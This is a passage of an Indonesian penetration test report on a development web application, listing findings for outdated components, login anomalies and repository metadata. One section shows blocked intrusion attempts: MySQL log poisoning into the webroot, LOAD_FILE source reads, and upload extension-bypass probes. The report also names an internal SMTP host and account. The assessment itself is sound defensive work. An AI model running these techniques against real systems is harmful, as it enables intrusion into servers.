Score6.5 (High)
Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Targethttps://silk.sucofindo.dev (checkLogin.php)
StatusOpen

Deskripsi: Source checkLogin.phpdefault (patch 28-05-2018) membatasi login: pada pukul 12:00–17:00 waktu server, query login memaksa AND a.kode_industri=0 — hanya akun non-industri yang bisa login; semua akun simulasi (kode_industri=636) ditolak. Ini bukan vulnerabilities klasik, namun anomali yang membingungkan dan berpotensi mengunci operasional cabang.

Bukti (Evidence):

  if($jam_sekarang >= $jam1 && $jam_sekarang <= $jam2) { ... AND a.kode_industri=0 ... } else { ... }
  Login pada jam di luar window → sukses (terverifikasi); di dalam window → gagal (dikonfirmasi user)

Dampak (Impact):

  • Gangguan operasional; kontribusi confusion pada penilaian security.

Rekomendasi: Hapus pembatasan jam; audit siapa yang menambahkan dan mengapa.

Referensi:

    M1 Komponen Frontend EOL — jQuery 1.4.2–1.10.2 & jQuery-UI 1.8.2 (XSS/Prototype Pollution) MEDIUM
    Score6.1 (Medium)
    Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    Targethttps://silk.sucofindo.dev/stylesheet/, /beranda/
    StatusOpen

    Deskripsi: jQuery 1.4.2, 1.5.1, 1.9.1, 1.10.2, jQuery-UI 1.8.2 digunakan di seluruh frontend. Terdampak CVE-2012-6708, CVE-2014-6071, CVE-2015-9251, CVE-2019-11358 (prototype pollution), CVE-2020-11022/11023, CVE-2016-7103.

    Bukti (Evidence):

      beranda/jquery-1.4.2.min.js; stylesheet/cal_jquery-1.10.2.js; stylesheet/jquery-ui-1.8.2.custom.min.js

    Dampak (Impact):

    • XSS saat pola $()/html() dipakai dengan data tak tepercaya; prototype pollution potensial.

    Rekomendasi: Upgrade jQuery ≥3.7 & jQuery-UI ≥1.13; audit penggunaan html()/$().

    Referensi:

    M2 NuSOAP 0.9.5 EOL (CVE-2010-3070 XSS, CVE-2011-3761 Info Disclosure) MEDIUM
    Score5.3 (Medium)
    Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    Targethttps://silk.sucofindo.dev/nusoap/
    StatusOpen

    Deskripsi: NuSOAP 0.9.5 (2010) digunakan untuk integrasi WS LIU (liu.dephut.go.id). Tidak ada RCE, namun XSS & information disclosure terdokumentasi.

    Bukti (Evidence):

      nusoap/lib/changelog → ending 2010-04-26 v0.9.5
      include/xFile.php: nusoap_client('http://liu.dephut.go.id/ws/server2.php?wsdl','wsdl')

    Dampak (Impact):

    • XSS pada output SOAP; kebocoran info lingkungan.

    Rekomendasi: Migrasi ke SOAP client modern / REST; patchnya dependensi.

    Referensi:

    M3 PHPMailer 5.0 EOL — SMTP Header/CRLF Injection Parsial (CVE-2015-8476) MEDIUM
    Score5.3 (Medium)
    Vector stringCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
    Targethttps://silk.sucofindo.dev (include/phpmailer)
    StatusOpen

    Deskripsi: PHPMailer 5.0 (docs 5.0-phpdocs), EOL. CVE RCE (2016-10033/10045) memerlukan transport mail() — aplikasi memakai IsSMTP sehingga tidak applicable; namun CVE-2015-8476 (CRLF/SMTP injection) parsial relevan karena subject/body dibangun dari input user (mis. detail/gantiBlanko: pNamaImportir, pAlamat1-3).

    Bukti (Evidence):

      fAutoEmail: $mail->IsSMTP(); Host=172.16.100.245:587; Username=admin-silk
      gantiBlanko: $vBody.="... ".$_REQUEST['pNamaImportir']."; ".$_REQUEST['pAlamat1']... (input user ke body)

    Dampak (Impact):

    • Email spoofing / SMTP command injection bila CRLF lolos ke header.

    Rekomendasi: Sanitasi input untuk subject/body; upgrade PHPMailer ≥6.9.

    Referensi:

    M4 Binary CGI Legacy Bisa Diunduh (info disclosure) — cgi-bin/cgiecho, cgiemail LOW
    Score3.7 (Low)
    Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    Targethttps://silk.sucofindo.dev/cgi-bin/
    StatusOpen

    Deskripsi: File cgi-bin/cgiecho, cgiemail, randhtml.cgi, entropybanner.cgi (ELF64, legacy 2000-an) dapat diunduh — menyingkap arsitektur C lama. nginx tidak mengeksekusi CGI (disajikan statis) sehingga bukan RCE.

    Bukti (Evidence):

      GET /cgi-bin/cgiecho → ELF 64-bit (23.384 byte), strings: X-Mailer: cgiemail, sendmail, HTTP_REFERER

    Dampak (Impact):

    • Info disclosure minor; potensi reuse binary lama bila FCGIwrap diaktifkan.

    Rekomendasi: Hapus cgi-bin bila tidak dipakai.

    Referensi:

    M5 nginx 1.23.4 — CVE-2023-44487 (HTTP/2 Rapid Reset DoS) MEDIUM
    Score5.3 (Medium)
    Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
    Targethttps://silk.sucofindo.dev
    StatusOpen

    Deskripsi: nginx 1.23.4 sebelum 1.25.3 rentan HTTP/2 Rapid Reset (CVE-2023-44487) — RST_STREAM loop → resource exhaustion.

    Bukti (Evidence):

      Server header: nginx/1.23.4 (terverifikasi)

    Dampak (Impact):

    • DoS layer 7.

    Rekomendasi: Upgrade nginx ≥1.25.3.

    Referensi:

    M6 PHP 5.6.40 EOL — Seluruh CVE 5.6 Tanpa Patch MEDIUM
    Score6.0 (Medium)
    Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    Targethttps://silk.sucofindo.dev
    StatusOpen

    Deskripsi: X-Powered-By: PHP/5.6.40 — EOL sejak April 2019. Ratusan CVE terbuka (contoh CVE-2015-6831/6832 SPL unserialize UAF, CVE-2016-9935 WDDX) — menjadi amplifier gadget untuk vektor unserialize (lihat E7).

    Bukti (Evidence):

      HTTP response header: X-Powered-By: PHP/5.6.40

    Dampak (Impact):

    • Permukaan eksploitasi luas; gadget deserialization tersedia.

    Rekomendasi: Migrasi ke PHP 8.x (atau minimal 7.4+) bersama Web server modern.

    Referensi:

    M7 Artefak Multi-Platform & File Metadata di Repo (OSINT/Leak Metadata) LOW
    Score2.0 (Low)
    Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
    Targethttps://silk.sucofindo.dev (repo git)
    StatusOpen

    Deskripsi: Repo memuat .DS_Store (Mac) dan images/Thumbs.db (Windows) — metadata environment developer; sitemap.xml memuat domain prod https://silk.sucofindo.co.id (cross-leak domain); robots.txt Disallow: / (over-restrictif, menarik perhatian).

    Bukti (Evidence):

      filelist: /silk/.DS_Store (10 KB), images/Thumbs.db (411 KB)
      sitemap.xml: <loc>https://silk.sucofindo.co.id/</loc> built with Free Online Sitemap Generator

    Dampak (Impact):

    • OSINT; metadata developer; leak alamat prod.

    Rekomendasi: Bersihkan repo dari file metadata; perbaiki robots/sitemap.

    Referensi:

      I1 Upaya RCE via Kerentanan Native — Diblokir Arsitektur (Container Split + Whitelist) — Info Positif INFO
      Score0.0 (Info)
      Vector stringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
      Targethttps://silk.sucofindo.dev
      StatusClosed (Verified Blocked)

      Deskripsi: Seluruh upaya RCE memakai kerentanan native (tanpa backdoor/Adminer) diuji dan terblokir: (1) general log poisoning — SET GLOBAL sukses tapi file tak muncul di webroot → container MySQL & PHP TIDAK share volume; (2) INTO OUTFILE — secure_file_priv=/var/lib/mysql-files/ dan PHP tak dapat membaca path tsb (LFI ENOENT); (3) upload .php — whitelist 9 ekstensi di semua 11 handler; (4) upload .jpg ber-PHP — disajikan statis (403 FPM limit_extensions); (5) path-info cgi.fix_pathinfo — nginx tidak route (404); (6) double-ext/null-byte — 404/400; (7) LFI → include selalu append .php. Positif: hardening arsitektur ini mencegah RCE native.

      Bukti (Evidence):

        SET GLOBAL general_log_file='/var/www/html/svlk/page/glogtest.php' → SUCCESS, file → 404 (beda container)
        LOAD_FILE('/var/www/html/svlk/index.php') → NULL (secure_file_priv)
        GET /files_rekap/REKAP_LMK__202607.jpg → 200 statis (bukan eksekusi)
        GET /files_rekap/REKAP_LMK__202607.jpg/x.php → 404; …jpg.php → 404; …%00.php → 400

      Dampak (Impact):

      • RCE native tidak dapat dieksekusi — memvalidasi nilai mitigasi arsitektur.

      Rekomendasi: Pertahankan pemisahan container; lanjutkan whitelist; pasang WAF; tetap patchnya komponen.

      Referensi:

        6. Severity Levels

        Skala Severity:

        LevelDeskripsi
        CRITICALEksploitasi langsung memberikan akses penuh (RCE/root DB/data breach massal) tanpa prasyarat berarti. Wajib ditangani segera (≤7 hari).
        HIGHKerentanan serius dengan dampak besar (source disclosure, password reversible, arbitrary write) namun prasyarat tertentu.
        MEDIUMDampak terbatas atau membutuhkan interaksi/kondisi khusus.
        LOWDampak kecil; masih perlu diperbaiki.
        INFOInformasi umum / hasil positif (hardening berfungsi).

        7. Disclaimer

        Laporan ini disusun berdasarkan hasil pengujian pada rentang waktu yang tercantum dan mencerminkan kondisi target pada saat pengujian. Informasi di dalamnya bersifat rahasia dan hanya untuk konsumsi internal tim keamanan PT. Sucofindo serta pihak yang berwenang. Perubahan pada aplikasi, server, atau konfigurasi setelah periode pengujian dapat mengubah status temuan. Pengujian dilakukan pada lingkungan development/simulasi (silk.sucofindo.dev) dengan pendekatan yang meminimalkan dampak; artefak tes (file upload, marker database) diidentifikasi dalam laporan untuk dibersihkan oleh tim terkait.